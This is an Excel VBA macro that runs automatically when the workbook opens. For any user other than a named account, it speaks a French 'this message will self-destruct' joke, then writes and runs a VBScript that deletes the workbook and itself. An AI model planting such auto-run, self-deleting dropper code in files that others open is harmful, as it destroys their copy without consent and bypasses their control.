Private Sub Workbook_Open()
n = Environ("username")
If n <> "patricktoulon1" Then
Application.Speech.Speak " Bonjour " & n & "! votre mission que vous l'acceptez ou pas !et de regarder ce fichier s'auto détruire!" & vbCrLf & _
"comme d'habitude le département nirra toute connaissance de ce fichier!" & vbCrLf & _
"ce message s'auto détruira dans deux secondes !! bONNE CHANCE"
autoDestruction
End If
End Sub
Sub autoDestruction()
Dim x&, codevbs$, vbsfile$
vbsfile = ThisWorkbook.Path & "\destructeur.vbs"
codevbs = "wscript.sleep 200" & vbCrLf & "fself = WScript.ScriptFullName" & vbCrLf
codevbs = codevbs & "fichier = """ & ThisWorkbook.FullName & Chr(34) & vbCrLf
codevbs = codevbs & "Set objFSO = CreateObject(""Scripting.FileSystemObject"")" & vbCrLf
codevbs = codevbs & "If objFSO.FileExists(fichier) Then objFSO.deletefile fichier" & vbCrLf
codevbs = codevbs & "objFSO.deletefile fself"
x = FreeFile
Open vbsfile For Output As #x: Print #x, codevbs: Close #x
CreateObject("wscript.shell").Run vbsfile
ActiveWindow.Close , False
End Sub